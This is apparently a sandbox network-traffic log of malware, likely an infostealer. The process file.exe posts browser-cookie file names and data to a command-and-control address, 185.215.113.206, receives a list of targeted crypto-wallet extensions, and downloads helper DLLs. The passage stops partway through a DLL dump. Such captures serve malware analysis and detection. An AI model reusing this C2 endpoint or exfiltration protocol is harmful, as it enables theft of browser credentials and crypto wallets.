Nov 23, 2024 19:52:22.144648075 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="message"fplugins------DBKKFCBAKKFBGCBFHJDG--
Nov 23, 2024 19:52:22.597639084 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 19:52:22.616611004 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 185.215.113.206 Content-Length: 7027 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 19:52:22.616707087 CET	7027	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 19:52:23.853817940 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:52:24.136589050 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:52:24.589999914 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 19:52:24.590150118 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 19:52:24.594206095 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49800	185.215.113.206	80	3564	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:52:36.613038063 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EGIJKEHCAKFCAKFHDAAA--
Nov 23, 2024 19:52:38.757285118 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:52:39.531565905 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file"------EHJJKFCBGIDGHIECGCBK--
Nov 23, 2024 19:52:40.491452932 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49831	185.215.113.206	80	3564	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:52:46.128710985 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JEHDHIEGIIIDHIDHDHJJ--
Nov 23, 2024 19:52:48.035309076 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:52:48.443882942 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="file"------AKJDGDGDHDGDBFIDHDBA--
Nov 23, 2024 19:52:49.423999071 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:52:50.265302896 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:52:50.811412096 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 19:52:50.811506987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 19:52:50.811517000 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 19:52:50.811527967 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 23, 2024 19:52:50.811609983 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 23, 2024 19:52:50.811630011 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 23, 2024 19:52:50.811640978 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 23, 2024 19:52:50.811650991 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 23, 2024 19:52:50.820240021 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 23, 2024 19:52:50.820311069 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 23, 2024 19:52:50.829061985 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Nov 23, 2024 19:52:52.537857056 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:52:52.998368025 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 19:52:54.207808971 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:52:54.728399992 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 